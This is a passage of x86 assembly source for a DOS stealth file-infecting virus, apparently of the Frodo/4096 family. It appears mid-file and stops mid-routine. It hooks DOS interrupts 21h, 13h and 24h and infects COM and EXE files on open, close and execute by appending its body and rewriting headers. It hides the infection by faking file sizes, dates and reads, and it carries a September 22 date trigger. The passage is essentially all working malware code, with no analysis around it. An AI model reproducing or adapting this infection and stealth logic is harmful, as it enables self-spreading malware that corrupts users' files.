push word ptr cs:carrierPSP ; Segment of carrier file's
mov ax,100h ; PSP
push ax
mov ax,cs:initialax ; restore orig. value of ax
retf ; return to original COM file
returntoEXE:
add word ptr cs:oldheader+0eh,ax
mov ax,cs:initialax ; Restore ax
mov ss,word ptr cs:oldheader+0eh ; Restore stack to
mov sp,word ptr cs:oldheader+10h ; original value
sti
jmp dword ptr cs:oldheader+14h ; jmp to original cs:IP
; entry point
entervirus:
cmp sp,100h ; COM file?
ja dont_resetstack ; if so, skip this
xor sp,sp ; new stack
dont_resetstack:
mov bp,ax
call next ; calculate relativeness
next:
pop cx
sub cx,offset next ; cx = delta offset
mov ax,cs ; ax = segment
mov bx,10h ; convert to offset
mul bx
add ax,cx
adc dx,0
div bx ; convert to seg:off
push ax ; set up stack for jmp
mov ax,offset installvirus ; to installvirus
push ax
mov ax,bp
retf ; go to installvirus
int21commands:
db 30h ; get DOS version
dw offset getDOSversion
db 23h ; FCB get file size
dw offset FCBgetfilesize
db 37h ; get device info
dw offset get_device_info
db 4Bh ; execute
dw offset execute
db 3Ch ; create file w/ handle
dw offset createhandle
db 3Dh ; open file
dw offset openhandle
db 3Eh ; close file
dw offset handleclosefile
db 0Fh ; FCB open file
dw offset FCBopenfile
db 14h ; sequential FCB read
dw offset sequentialFCBread
db 21h ; random FCB read
dw offset randomFCBread
db 27h ; random FCB block read
dw offset randomFCBblockread
db 11h ; FCB find first
dw offset FCBfindfirstnext
db 12h ; FCB find next
dw offset FCBfindfirstnext
db 4Eh ; filename find first
dw offset filenamefindfirstnext
db 4Fh ; filename find next
dw offset filenamefindfirstnext
db 3Fh ; read
dw offset handleread
db 40h ; write
dw offset handlewrite
db 42h ; move file pointer
dw offset handlemovefilepointer
db 57h ; get/set file time/date
dw offset getsetfiletimedate
db 48h ; allocate memory
dw offset allocatememory
endcommands:
otherint21:
cmp ax,4B00h ; execute?
jnz notexecute
mov cs:checkres,al ; clear the resident flag
notexecute:
push bp ; set up stack frame
mov bp,sp
push [bp+6] ; push old flags
pop cs:int21flags ; and put in variable
pop bp ; why?
push bp ; why?
mov bp,sp ; set up new stack frame
call saveregs
call swapvirint21 ; reenable DOS int 21h handler
call disableBREAK
call restoreregs
call _pushall
push bx
mov bx,offset int21commands ; bx->command table
scanforcommand:
cmp ah,cs:[bx] ; scan for the function
jne findnextcommand ; code/subroutine combination
mov bx,cs:[bx+1]
xchg bx,[bp-14h]
cld
retn
findnextcommand:
add bx,3 ; go to next command
cmp bx,offset endcommands ; in the table until
jb scanforcommand ; there are no more
pop bx
exitotherint21:
call restoreBREAK
in al,21h ; save IMR
mov cs:saveIMR,al
mov al,0FFh ; disable all interrupts
out 21h,al
mov byte ptr cs:instructionstotrace,4 ; trace into
mov byte ptr cs:tracemode,1 ; oldint21
call replaceint1 ; set virus int 1 handler
call _popall
push ax
mov ax,cs:int21flags ; get the flags
or ax,100h ; turn on the trap flag
push ax ; and set it in motion
popf
pop ax
pop bp
jmp dword ptr cs:oldint21 ; chain back to original int
; 21h handler -- do not return
exitint21:
call saveregs
call restoreBREAK
call swapvirint21
call restoreregs
pop bp
push bp ; set up stack frame
mov bp,sp
push word ptr cs:int21flags ; get the flags and put
pop word ptr [bp+6] ; them on the stack for
pop bp ; the iret
iret
FCBfindfirstnext:
call _popall
call callint21
or al,al ; Found any files?
jnz exitint21 ; guess not
call _pushall
call getdisktransferaddress
mov al,0
cmp byte ptr [bx],0FFh ; Extended FCB?
jne findfirstnextnoextendedFCB
mov al,[bx+6]
add bx,7 ; convert to normal FCB
findfirstnextnoextendedFCB:
and cs:hide_size,al
test byte ptr [bx+1Ah],80h ; check year bit for virus
jz _popall_then_exitint21 ; infection tag. exit if so
sub byte ptr [bx+1Ah],0C8h ; alter file date
cmp byte ptr cs:hide_size,0
jne _popall_then_exitint21
sub word ptr [bx+1Dh],1000h ; hide file size
sbb word ptr [bx+1Fh],0
_popall_then_exitint21:
call _popall
jmp short exitint21
FCBopenfile:
call _popall
call callint21 ; chain to original int 21h
call _pushall
or al,al ; 0 = success
jnz _popall_then_exitint21
mov bx,dx
test byte ptr [bx+15h],80h ; check if infected yet
jz _popall_then_exitint21
sub byte ptr [bx+15h],0C8h ; restore date
sub word ptr [bx+10h],1000h ; and hide file size
sbb byte ptr [bx+12h],0
jmp short _popall_then_exitint21
randomFCBblockread:
jcxz go_exitotherint21 ; reading any blocks?
randomFCBread:
mov bx,dx
mov si,[bx+21h] ; check if reading first
or si,[bx+23h] ; bytes
jnz go_exitotherint21
jmp short continueFCBread
sequentialFCBread:
mov bx,dx
mov ax,[bx+0Ch] ; check if reading first
or al,[bx+20h] ; bytes
jnz go_exitotherint21
continueFCBread:
call checkFCBokinfect
jnc continuecontinueFCBread
go_exitotherint21:
jmp exitotherint21
continuecontinueFCBread:
call _popall
call _pushall
call callint21 ; chain to original handler
mov [bp-4],ax ; set the return codes
mov [bp-8],cx ; properly
push ds ; save FCB pointer
push dx
call getdisktransferaddress
cmp word ptr [bx+14h],1 ; check for EXE infection
je FCBreadinfectedfile ; (IP = 1)
mov ax,[bx] ; check for COM infection
add ax,[bx+2] ; (checksum = 0)
add ax,[bx+4]
jz FCBreadinfectedfile
add sp,4 ; no infection, no stealth
jmp short _popall_then_exitint21 ; needed
FCBreadinfectedfile:
pop dx ; restore address of the FCB
pop ds
mov si,dx
push cs
pop es
mov di,offset tempFCB ; copy FCB to temporary one
mov cx,25h
rep movsb
mov di,offset tempFCB
push cs
pop ds
mov ax,[di+10h] ; get old file size
mov dx,[di+12h]
add ax,100Fh ; increase by virus size
adc dx,0 ; and round to the nearest
and ax,0FFF0h ; paragraph
mov [di+10h],ax ; insert new file size
mov [di+12h],dx
sub ax,0FFCh
sbb dx,0
mov [di+21h],ax ; set new random record #
mov [di+23h],dx
mov word ptr [di+0Eh],1 ; record size = 1
mov cx,1Ch
mov dx,di
mov ah,27h ; random block read 1Ch bytes
call callint21
jmp _popall_then_exitint21
FCBgetfilesize:
push cs
pop es
mov si,dx
mov di,offset tempFCB ; copy FCB to temp buffer
mov cx,0025h
repz movsb
push ds
push dx
push cs
pop ds
mov dx,offset tempFCB
mov ah,0Fh ; FCB open file
call callint21
mov ah,10h ; FCB close file
call callint21
test byte ptr [tempFCB+15h],80h ; check date bit
pop si
pop ds
jz will_exitotherint21 ; exit if not infected
les bx,dword ptr cs:[tempFCB+10h] ; get filesize
mov ax,es
sub bx,1000h ; hide increase
sbb ax,0
xor dx,dx
mov cx,word ptr cs:[tempFCB+0eh] ; get record size
dec cx
add bx,cx
adc ax,0
inc cx
div cx
mov [si+23h],ax ; fix random access record #
xchg dx,ax
xchg bx,ax
div cx
mov [si+21h],ax ; fix random access record #
jmp _popall_then_exitint21
filenamefindfirstnext:
and word ptr cs:int21flags,-2 ; turn off trap flag
call _popall
call callint21
call _pushall
jnb filenamefffnOK ; continue if a file is found
or word ptr cs:int21flags,1
jmp _popall_then_exitint21
filenamefffnOK:
call getdisktransferaddress
test byte ptr [bx+19h],80h ; Check high bit of date
jnz filenamefffnfileinfected; Bit set if infected
jmp _popall_then_exitint21
filenamefffnfileinfected:
sub word ptr [bx+1Ah],1000h ; hide file length increase
sbb word ptr [bx+1Ch],0
sub byte ptr [bx+19h],0C8h ; and date change
jmp _popall_then_exitint21
createhandle:
push cx
and cx,7 ; mask the attributes
cmp cx,7 ; r/o, hidden, & system?
je exit_create_handle
pop cx
call replaceint13and24
call callint21 ; chain to original int 21h
call restoreint13and24
pushf
cmp byte ptr cs:errorflag,0 ; check if any errors yet
je no_errors_createhandle
popf
will_exitotherint21:
jmp exitotherint21
no_errors_createhandle:
popf
jc other_error_createhandle; exit on error
mov bx,ax ; move handle to bx
mov ah,3Eh ; Close file
call callint21
jmp short openhandle
other_error_createhandle:
or byte ptr cs:int21flags,1; turn on the trap flag
mov [bp-4],ax ; set the return code properly
jmp _popall_then_exitint21
exit_create_handle:
pop cx
jmp exitotherint21
openhandle:
call getcurrentPSP
call checkdsdxokinfect
jc jmp_exitotherint21
cmp byte ptr cs:handlesleft,0 ; make sure there is a free
je jmp_exitotherint21 ; entry in the table
call setup_infection ; open the file
cmp bx,0FFFFh ; error?
je jmp_exitotherint21 ; if so, exit
dec byte ptr cs:handlesleft
push cs
pop es
mov di,offset handletable
mov cx,14h
xor ax,ax ; find end of the table
repne scasw
mov ax,cs:currentPSP ; put the PSP value and the
mov es:[di-2],ax ; handle # in the table
mov es:[di+26h],bx
mov [bp-4],bx ; put handle # in return code
handleopenclose_exit:
and byte ptr cs:int21flags,0FEh ; turn off the trap flag
jmp _popall_then_exitint21
jmp_exitotherint21:
jmp exitotherint21
handleclosefile:
push cs
pop es
call getcurrentPSP
mov di,offset handletable
mov cx,14h ; 14h entries max
mov ax,cs:currentPSP ; search for calling PSP
scanhandle_close:
repne scasw
jnz handlenotfound ; handle not trapped
cmp bx,es:[di+26h] ; does the handle correspond?
jne scanhandle_close ; if not, find another handle
mov word ptr es:[di-2],0 ; otherwise, clear handle
call infect_file
inc byte ptr cs:handlesleft ; fix handles left counter
jmp short handleopenclose_exit ; and exit
handlenotfound:
jmp exitotherint21
getdisktransferaddress:
push es
mov ah,2Fh ; Get disk transfer address
call callint21 ; to es:bx
push es
pop ds ; mov to ds:bx
pop es
retn
execute:
or al,al ; load and execute?
jz loadexecute ; yepper!
jmp checkloadnoexecute ; otherwise check if
; load/no execute
loadexecute:
push ds ; save filename
push dx
mov word ptr cs:parmblock,bx; save parameter block and
mov word ptr cs:parmblock+2,es; move to ds:si
lds si,dword ptr cs:parmblock
mov di,offset copyparmblock ; copy the parameter block
mov cx,0Eh
push cs
pop es
rep movsb
pop si ; copy the filename
pop ds ; to the buffer
mov di,offset copyfilename
mov cx,50h
rep movsb
mov bx,0FFFFh
call allocate_memory ; allocate available memory
call _popall
pop bp ; save the parameters
pop word ptr cs:saveoffset ; on the stack
pop word ptr cs:savesegment
pop word ptr cs:int21flags
mov ax,4B01h ; load/no execute
push cs ; ds:dx -> file name
pop es ; es:bx -> parameter block
mov bx,offset copyparmblock
pushf ; perform interrupt 21h
call dword ptr cs:oldint21
jnc continue_loadexecute ; continue if no error
or word ptr cs:int21flags,1; turn on trap flag
push word ptr cs:int21flags ; if error
push word ptr cs:savesegment ; restore stack
push word ptr cs:saveoffset
push bp ; restore the stack frame
mov bp,sp ; and restore ES:BX to
les bx,dword ptr cs:parmblock ; point to the parameter
jmp exitint21 ; block
continue_loadexecute:
call getcurrentPSP
push cs
pop es
mov di,offset handletable ; scan the handle table
mov cx,14h ; for the current PSP's
scanhandle_loadexecute: ; handles
mov ax,cs:currentPSP
repne scasw
jnz loadexecute_checkEXE
mov word ptr es:[di-2],0 ; clear entry in handle table
inc byte ptr cs:handlesleft ; fix handlesleft counter
jmp short scanhandle_loadexecute
loadexecute_checkEXE:
lds si,dword ptr cs:origcsip
cmp si,1 ; Check if EXE infected
jne loadexecute_checkCOM
mov dx,word ptr ds:oldheader+16h ; get initial CS
add dx,10h ; adjust for PSP
mov ah,51h ; Get current PSP segment
call callint21
add dx,bx ;adjust for start load segment
mov word ptr cs:origcsip+2,dx
push word ptr ds:oldheader+14h ; save old IP
pop word ptr cs:origcsip
add bx,10h ; adjust for the PSP
add bx,word ptr ds:oldheader+0Eh ; add old SS
mov cs:origss,bx
push word ptr ds:oldheader+10h ; old SP
pop word ptr cs:origsp
jmp short perform_loadexecute
loadexecute_checkCOM:
mov ax,[si] ; Check if COM infected
add ax,[si+2]
add ax,[si+4]
jz loadexecute_doCOM ; exit if already infected
push cs ; otherwise check to see
pop ds ; if it is suitable for
mov dx,offset copyfilename ; infection
call checkdsdxokinfect
call setup_infection
inc byte ptr cs:hideclustercountchange
call infect_file ; infect the file
dec byte ptr cs:hideclustercountchange
perform_loadexecute:
mov ah,51h ; Get current PSP segment
call callint21
call saveregs
call restoreBREAK
call swapvirint21
call restoreregs
mov ds,bx ; ds = current PSP segment
mov es,bx ; es = current PSP segment
push word ptr cs:int21flags ; restore stack parameters
push word ptr cs:savesegment
push word ptr cs:saveoffset
pop word ptr ds:[0Ah] ; Set terminate address in PSP
pop word ptr ds:[0Ch] ; to return address found on
; the stack
; (int 21h caller CS:IP)
push ds
lds dx,dword ptr ds:[0Ah] ; Get terminate address in PSP
mov al,22h ; Set terminate address to it
call setvect
pop ds
popf
pop ax
mov ss,cs:origss ; restore the stack
mov sp,cs:origsp ; and
jmp dword ptr cs:origcsip ; perform the execute
loadexecute_doCOM:
mov bx,[si+1] ; restore original COM file
mov ax,word ptr ds:[bx+si-261h]
mov [si],ax
mov ax,word ptr ds:[bx+si-25Fh]
mov [si+2],ax
mov ax,word ptr ds:[bx+si-25Dh]
mov [si+4],ax
jmp short perform_loadexecute
checkloadnoexecute:
cmp al,1
je loadnoexecute
jmp exitotherint21
loadnoexecute:
or word ptr cs:int21flags,1; turn on trap flag
mov word ptr cs:parmblock,bx; save pointer to parameter
mov word ptr cs:parmblock+2,es ; block
call _popall
call callint21 ; chain to int 21h
call _pushall
les bx,dword ptr cs:parmblock ; restore pointer to
; parameter block
lds si,dword ptr es:[bx+12h]; get cs:ip on execute return
jc exit_loadnoexecute
and byte ptr cs:int21flags,0FEh ; turn off trap flag
cmp si,1 ; check for EXE infection
je loadnoexecute_EXE_already_infected
; infected if initial IP = 1
mov ax,[si] ; check for COM infection
add ax,[si+2] ; infected if checksum = 0
add ax,[si+4]
jnz perform_the_execute
mov bx,[si+1] ; get jmp location
mov ax,ds:[bx+si-261h] ; restore original COM file
mov [si],ax
mov ax,ds:[bx+si-25Fh]
mov [si+2],ax
mov ax,ds:[bx+si-25Dh]
mov [si+4],ax
jmp short perform_the_execute
loadnoexecute_EXE_already_infected:
mov dx,word ptr ds:oldheader+16h ; get entry CS:IP
call getcurrentPSP
mov cx,cs:currentPSP
add cx,10h ; adjust for PSP
add dx,cx
mov es:[bx+14h],dx ; alter the entry point CS
mov ax,word ptr ds:oldheader+14h
mov es:[bx+12h],ax
mov ax,word ptr ds:oldheader+0Eh ; alter stack
add ax,cx
mov es:[bx+10h],ax
mov ax,word ptr ds:oldheader+10h
mov es:[bx+0Eh],ax
perform_the_execute:
call getcurrentPSP
mov ds,cs:currentPSP
mov ax,[bp+2] ; restore length as held in
mov word ptr ds:oldheader+6,ax
mov ax,[bp+4] ; the EXE header
mov word ptr ds:oldheader+8,ax
exit_loadnoexecute:
jmp _popall_then_exitint21
getDOSversion:
mov byte ptr cs:hide_size,0
mov ah,2Ah ; Get date
call callint21
cmp dx,916h ; September 22?
jb exitDOSversion ; leave if not
call writebootblock ; this is broken
exitDOSversion:
jmp exitotherint21
infect_file:
call replaceint13and24
call findnextparagraphboundary
mov byte ptr ds:EXEflag,1 ; assume is an EXE file
cmp word ptr ds:readbuffer,'ZM' ; check here for regular
je clearlyisanEXE ; EXE header
cmp word ptr ds:readbuffer,'MZ' ; check here for alternate
je clearlyisanEXE ; EXE header
dec byte ptr ds:EXEflag ; if neither, assume is a
jz try_infect_com ; COM file
clearlyisanEXE:
mov ax,ds:lengthinpages ; get file size in pages
shl cx,1 ; and convert it to
mul cx ; bytes
add ax,200h ; add 512 bytes
cmp ax,si
jb go_exit_infect_file
mov ax,ds:minmemory ; make sure min and max memory
or ax,ds:maxmemory ; are not both zero
jz go_exit_infect_file
mov ax,ds:filesizelow ; get filesize in dx:ax
mov dx,ds:filesizehigh
mov cx,200h ; convert to pages
div cx
or dx,dx ; filesize multiple of 512?
jz filesizemultiple512 ; then don't increment #
inc ax ; pages
filesizemultiple512:
mov ds:lengthinpages,ax ; put in new values for length
mov ds:lengthMOD512,dx ; fields
cmp word ptr ds:initialIP,1 ; check if already infected
je exit_infect_file
mov word ptr ds:initialIP,1 ; set new entry point
mov ax,si ; calculate new entry point
sub ax,ds:headersize ; segment
mov ds:initialcs,ax ; put this in for cs
add word ptr ds:lengthinpages,8 ; 4K more
mov ds:initialSS,ax ; put entry segment in for SS
mov word ptr ds:initialSP,1000h ; set stack @ 1000h
call finish_infection
go_exit_infect_file:
jmp short exit_infect_file
try_infect_com:
cmp si,0F00h ; make sure file is under
jae exit_infect_file ; F00h paragraphs or else
; it will be too large once it
; is infected
mov ax,ds:readbuffer ; first save first 6 bytes
mov word ptr ds:oldheader,ax
add dx,ax
mov ax,ds:readbuffer+2
mov word ptr ds:oldheader+2,ax
add dx,ax
mov ax,ds:readbuffer+4
mov word ptr ds:oldheader+4,ax
add dx,ax ; exit if checksum = 0
jz exit_infect_file ; since then it is already
; infected
mov cl,0E9h ; encode jmp instruction
mov byte ptr ds:readbuffer,cl
mov ax,10h ; find file size
mul si
add ax,offset entervirus-3 ; calculate offset of jmp
mov word ptr ds:readbuffer+1,ax ; encode it
mov ax,ds:readbuffer ; checksum it to 0
add ax,ds:readbuffer+2
neg ax
mov ds:readbuffer+4,ax
call finish_infection
exit_infect_file:
mov ah,3Eh ; Close file
call callint21
call restoreint13and24
retn
findnextparagraphboundary:
push cs
pop ds
mov ax,5700h ; Get file time/date
call callint21
mov ds:filetime,cx
mov ds:filedate,dx
mov ax,4200h ; Go to beginning of file
xor cx,cx
mov dx,cx
call callint21
mov ah,3Fh ; Read first 1Ch bytes
mov cl,1Ch
mov dx,offset readbuffer
call callint21
mov ax,4200h ; Go to beginning of file
xor cx,cx
mov dx,cx
call callint21
mov ah,3Fh ; Read first 1Ch bytes
mov cl,1Ch
mov dx,offset oldheader
call callint21
mov ax,4202h ; Go to end of file
xor cx,cx
mov dx,cx
call callint21
mov ds:filesizelow,ax ; save filesize
mov ds:filesizehigh,dx
mov di,ax
add ax,0Fh ; round to nearest paragraph
adc dx,0 ; boundary
and ax,0FFF0h
sub di,ax ; di=# bytes to next paragraph
mov cx,10h ; normalize filesize
div cx ; to paragraphs
mov si,ax ; si = result
retn
finish_infection:
mov ax,4200h ; Go to beginning of file
xor cx,cx
mov dx,cx
call callint21
mov ah,40h ; Write new header to file
mov cl,1Ch
mov dx,offset readbuffer
call callint21
mov ax,10h ; convert paragraph boundary
mul si ; to a byte value
mov cx,dx
mov dx,ax
mov ax,4200h ; go to first paragraph
call callint21 ; boundary at end of file
xor dx,dx
mov cx,1000h
add cx,di
mov ah,40h ; Concatenate virus to file
call callint21
mov ax,5701h ; Restore file time/date
mov cx,ds:filetime
mov dx,ds:filedate
test dh,80h ; check for infection bit
jnz highbitset
add dh,0C8h ; alter if not set yet
highbitset:
call callint21
cmp byte ptr ds:DOSversion,3; if not DOS 3+, then
jb exit_finish_infection ; do not hide the alteration
; in cluster count
cmp byte ptr ds:hideclustercountchange,0
je exit_finish_infection
push bx
mov dl,ds:filedrive
mov ah,32h ; Get drive parameter block
call callint21 ; for drive dl
mov ax,cs:numfreeclusters
mov [bx+1Eh],ax ; alter free cluster count
pop bx
exit_finish_infection:
retn
checkFCBokinfect:
call saveregs
mov di,dx
add di,0Dh ; skip to extension
push ds
pop es
jmp short performchecksum ; and check checksum for valid
; checksum
checkdsdxokinfect:
call saveregs
push ds
pop es
mov di,dx
mov cx,50h ; max filespec length
xor ax,ax
mov bl,0 ; default drive
cmp byte ptr [di+1],':' ; Is there a drive spec?
jne ondefaultdrive ; nope, skip it
mov bl,[di] ; yup, get drive
and bl,1Fh ; and convert to number
ondefaultdrive:
mov cs:filedrive,bl
repne scasb ; find terminating 0 byte
performchecksum:
mov ax,[di-3]
and ax,0DFDFh ; convert to uppercase
add ah,al
mov al,[di-4]
and al,0DFh ; convert to uppercase
add al,ah
mov byte ptr cs:EXEflag,0 ; assume COM file
cmp al,0DFh ; COM checksum?
je COMchecksum
inc byte ptr cs:EXEflag ; assume EXE file
cmp al,0E2h ; EXE checksum?
jne otherchecksum
COMchecksum:
call restoreregs
clc ; mark no error
retn
otherchecksum:
call restoreregs
stc ; mark error
retn
getcurrentPSP:
push bx
mov ah,51h ; Get current PSP segment
call callint21
mov cs:currentPSP,bx ; store it
pop bx
retn
setup_infection:
call replaceint13and24
push dx
mov dl,cs:filedrive
mov ah,36h ; Get disk free space
call callint21
mul cx ; ax = bytes per cluster
mul bx ; dx:ax = bytes free space
mov bx,dx
pop dx
or bx,bx ; less than 65536 bytes free?
jnz enough_free_space ; hopefully not
cmp ax,4000h ; exit if less than 16384
jb exit_setup_infection ; bytes free
enough_free_space:
mov ax,4300h ; Get file attributes
call callint21
jc exit_setup_infection ; exit on error
mov di,cx ; di = attributes
xor cx,cx
mov ax,4301h ; Clear file attributes
call callint21
cmp byte ptr cs:errorflag,0 ; check for errors
jne exit_setup_infection
mov ax,3D02h ; Open file read/write
call callint21
jc exit_setup_infection ; exit on error
mov bx,ax ; move handle to bx
; xchg bx,ax is superior
mov cx,di
mov ax,4301h ; Restore file attributes
call callint21
push bx
mov dl,cs:filedrive ; Get file's drive number
mov ah,32h ; Get drive parameter block
call callint21 ; for disk dl
mov ax,[bx+1Eh] ; Get free cluster count
mov cs:numfreeclusters,ax ; and save it
pop bx ; return handle
call restoreint13and24
retn
exit_setup_infection:
xor bx,bx
dec bx ; return bx=-1 on error
call restoreint13and24
retn
checkforinfection:
push cx
push dx
push ax
mov ax,4400h ; Get device information
call callint21 ; (set hide_size = 2)
xor dl,80h
test dl,80h ; Character device? If so,
jz exit_checkforinfection ; exit; cannot be infected
mov ax,5700h ; Otherwise get time/date
call callint21
test dh,80h ; Check year bit for infection
exit_checkforinfection:
pop ax
pop dx
pop cx
retn
obtainfilesize:
call saveregs
mov ax,4201h ; Get current file position
xor cx,cx
xor dx,dx
call callint21
mov cs:curfileposlow,ax
mov cs:curfileposhigh,dx
mov ax,4202h ; Go to end of file
xor cx,cx
xor dx,dx
call callint21
mov cs:filesizelow,ax
mov cs:filesizehigh,dx
mov ax,4200h ; Return to file position
mov dx,cs:curfileposlow
mov cx,cs:curfileposhigh
call callint21
call restoreregs
retn
getsetfiletimedate:
or al,al ; Get time/date?
jnz checkifsettimedate ; if not, see if Set time/date
and word ptr cs:int21flags,0FFFEh ; turn off trap flag
call _popall
call callint21
jc gettimedate_error ; exit on error
test dh,80h ; check year bit if infected
jz gettimedate_notinfected
sub dh,0C8h ; if so, hide change
gettimedate_notinfected:
jmp exitint21
gettimedate_error:
or word ptr cs:int21flags,1; turn on trap flag
jmp exitint21
checkifsettimedate:
cmp al,1 ; Set time/date?
jne exit_filetimedate_pointer
and word ptr cs:int21flags,0FFFEh ; turn off trap flag
test dh,80h ; Infection bit set?
jz set_yearbitset
sub dh,0C8h ; clear infection bit
set_yearbitset:
call checkforinfection
jz set_datetime_nofinagle
add dh,0C8h ; set infection flag
set_datetime_nofinagle:
call callint21
mov [bp-4],ax
adc word ptr cs:int21flags,0; turn on/off trap flag
jmp _popall_then_exitint21 ; depending on result
handlemovefilepointer:
cmp al,2
jne exit_filetimedate_pointer
call checkforinfection
jz exit_filetimedate_pointer
sub word ptr [bp-0Ah],1000h ; hide file size
sbb word ptr [bp-8],0
exit_filetimedate_pointer:
jmp exitotherint21
handleread:
and byte ptr cs:int21flags,0FEh ; clear trap flag
call checkforinfection ; exit if it is not
jz exit_filetimedate_pointer ; infected -- no need
; to do stealthy stuff
mov cs:savelength,cx
mov cs:savebuffer,dx
mov word ptr cs:return_code,0
call obtainfilesize
mov ax,cs:filesizelow ; store the file size
mov dx,cs:filesizehigh
sub ax,1000h ; get uninfected file size
sbb dx,0
sub ax,cs:curfileposlow ; check if currently in
sbb dx,cs:curfileposhigh ; virus code
jns not_in_virus_body ; continue if not
mov word ptr [bp-4],0 ; set return code = 0
jmp handleopenclose_exit
not_in_virus_body:
jnz not_reading_header
cmp ax,cx ; reading from header?
ja not_reading_header
mov cs:savelength,ax ; # bytes into header
not_reading_header:
mov dx,cs:curfileposlow
mov cx,cs:curfileposhigh
or cx,cx ; if reading > 64K into file,
jnz finish_reading ; then no problems
cmp dx,1Ch ; if reading from header, then
jbe reading_from_header ; do stealthy stuff
finish_reading:
mov dx,cs:savebuffer
mov cx,cs:savelength
mov ah,3Fh ; read file
call callint21
add ax,cs:return_code ; ax = bytes read
mov [bp-4],ax ; set return code properly
jmp _popall_then_exitint21
reading_from_header:
mov si,dx
mov di,dx
add di,cs:savelength
cmp di,1Ch ; reading all of header?
jb read_part_of_header ; nope, calculate how much
xor di,di
jmp short do_read_from_header
read_part_of_header:
sub di,1Ch
neg di
do_read_from_header:
mov ax,dx
mov cx,cs:filesizehigh ; calculate location in
mov dx,cs:filesizelow ; the file of the virus
add dx,0Fh ; storage area for the
adc cx,0 ; original 1Ch bytes of
and dx,0FFF0h ; the file
sub dx,0FFCh
sbb cx,0
add dx,ax
adc cx,0
mov ax,4200h ; go to that location
call callint21
mov cx,1Ch
sub cx,di
sub cx,si
mov ah,3Fh ; read the original header
mov dx,cs:savebuffer
call callint21
add cs:savebuffer,ax
sub cs:savelength,ax
add cs:return_code,ax
xor cx,cx ; go past the virus's header
mov dx,1Ch
mov ax,4200h
call callint21
jmp finish_reading ; and continue the reading
handlewrite:
and byte ptr cs:int21flags,0FEh ; turn off trap flag
call checkforinfection
jnz continue_handlewrite
jmp exit_filetimedate_pointer
continue_handlewrite:
mov cs:savelength,cx
mov cs:savebuffer,dx
mov word ptr cs:return_code,0
call obtainfilesize
mov ax,cs:filesizelow
mov dx,cs:filesizehigh
sub ax,1000h ; calculate original file
sbb dx,0 ; size
sub ax,cs:curfileposlow ; writing from inside the
sbb dx,cs:curfileposhigh ; virus?
js finish_write ; if not, we can continue
jmp short write_inside_virus; otherwise, fixup some stuff
finish_write:
call replaceint13and24
push cs
pop ds
mov dx,ds:filesizelow ; calculate location in file
mov cx,ds:filesizehigh ; of the virus storage of the
add dx,0Fh ; original 1Ch bytes of the
adc cx,0 ; file
and dx,0FFF0h
sub dx,0FFCh
sbb cx,0
mov ax,4200h
call callint21
mov dx,offset oldheader
mov cx,1Ch
mov ah,3Fh ; read original header
call callint21
mov ax,4200h ; go to beginning of file
xor cx,cx
mov dx,cx
call callint21
mov dx,offset oldheader
mov cx,1Ch
mov ah,40h ; write original header to
call callint21 ; the file
mov dx,0F000h ; go back 4096 bytes
mov cx,0FFFFh ; from the end of the
mov ax,4202h ; file and
call callint21
mov ah,40h ; truncate the file
xor cx,cx ; at that position
call callint21
mov dx,ds:curfileposlow ; Go to current file position
mov cx,ds:curfileposhigh
mov ax,4200h
call callint21
mov ax,5700h ; Get file time/date
call callint21
test dh,80h
jz high_bit_aint_set
sub dh,0C8h ; restore file date
mov ax,5701h ; put it onto the disk
call callint21
high_bit_aint_set:
call restoreint13and24
jmp exitotherint21
write_inside_virus:
jnz write_inside_header ; write from start of file?
cmp ax,cx
ja write_inside_header ; write from inside header?
jmp finish_write
write_inside_header:
mov dx,cs:curfileposlow
mov cx,cs:curfileposhigh
or cx,cx ; Reading over 64K?
jnz writemorethan1Chbytes
cmp dx,1Ch ; Reading over 1Ch bytes?
ja writemorethan1Chbytes
jmp finish_write
writemorethan1Chbytes:
call _popall
call callint21 ; chain to int 21h
; (allow write to take place)
call _pushall
mov ax,5700h ; Get file time/date
call callint21
test dh,80h
jnz _popall_then_exitint21_
add dh,0C8h
mov ax,5701h ; restore file date
call callint21
_popall_then_exitint21_:
jmp _popall_then_exitint21
jmp exitotherint21
int13:
pop word ptr cs:int13tempCSIP ; get calling CS:IP off
pop word ptr cs:int13tempCSIP+2 ; the stack
pop word ptr cs:int13flags
and word ptr cs:int13flags,0FFFEh ; turn off trap flag
cmp byte ptr cs:errorflag,0 ; any errors yet?
jne exitint13error ; yes, already an error
push word ptr cs:int13flags
call dword ptr cs:origints
jnc exitint13
inc byte ptr cs:errorflag ; mark error
exitint13error:
stc ; mark error
exitint13:
jmp dword ptr cs:int13tempCSIP ; return to caller
int24:
xor al,al ; ignore error
mov byte ptr cs:errorflag,1 ; mark error
iret
replaceint13and24:
mov byte ptr cs:errorflag,0 ; clear errors
call saveregs
push cs
pop ds
mov al,13h ; save int 13 handler
call getint
mov word ptr ds:origints,bx
mov word ptr ds:origints+2,es
mov word ptr ds:oldint13,bx
mov word ptr ds:oldint13+2,es
mov dl,0
mov al,0Dh ; fixed disk interrupt
call getint
mov ax,es
cmp ax,0C000h ; is there a hard disk?
jae harddiskpresent ; C000+ is in BIOS
mov dl,2
harddiskpresent:
mov al,0Eh ; floppy disk interrupt
call getint
mov ax,es
cmp ax,0C000h ; check if floppy
jae floppypresent
mov dl,2
floppypresent:
mov ds:tracemode,dl
call replaceint1
mov ds:savess,ss ; save stack
mov ds:savesp,sp
push cs ; save these on stack for
mov ax,offset setvirusints ; return to setvirusints
push ax
mov ax,70h
mov es,ax
mov cx,0FFFFh
mov al,0CBh ; retf
xor di,di
repne scasb ;scan es:di for retf statement
dec di ; es:di->retf statement
pushf
push es ; set up stack for iret to
push di ; the retf statement which
; will cause transfer of
; control to setvirusints
pushf
pop ax
or ah,1 ; turn on the trap flag
push ax
in al,21h ; save IMR in temporary
mov ds:saveIMR,al ; buffer and then
mov al,0FFh ; disable all the
out 21h,al ; interrupts
popf
xor ax,ax ; reset disk
jmp dword ptr ds:origints ; (int 13h call)
; then transfer control to
setvirusints: ; setvirusints
lds dx,dword ptr ds:oldint1
mov al,1 ; restore old int 1 handler
call setvect
push cs
pop ds
mov dx,offset int13 ; replace old int 13h handler
mov al,13h ; with virus's
call setvect
mov al,24h ; Get old critical error
call getint ; handler and save its
mov word ptr ds:oldint24,bx ; location
mov word ptr ds:oldint24+2,es
mov dx,offset int24
mov al,24h ; Replace int 24 handler
call setvect ; with virus's handler
call restoreregs
retn
restoreint13and24:
call saveregs
lds dx,dword ptr cs:oldint13
mov al,13h
call setvect
lds dx,dword ptr cs:oldint24
mov al,24h
call setvect
call restoreregs
retn
disableBREAK:
mov ax,3300h ; Get current BREAK setting
call callint21
mov cs:BREAKsave,dl
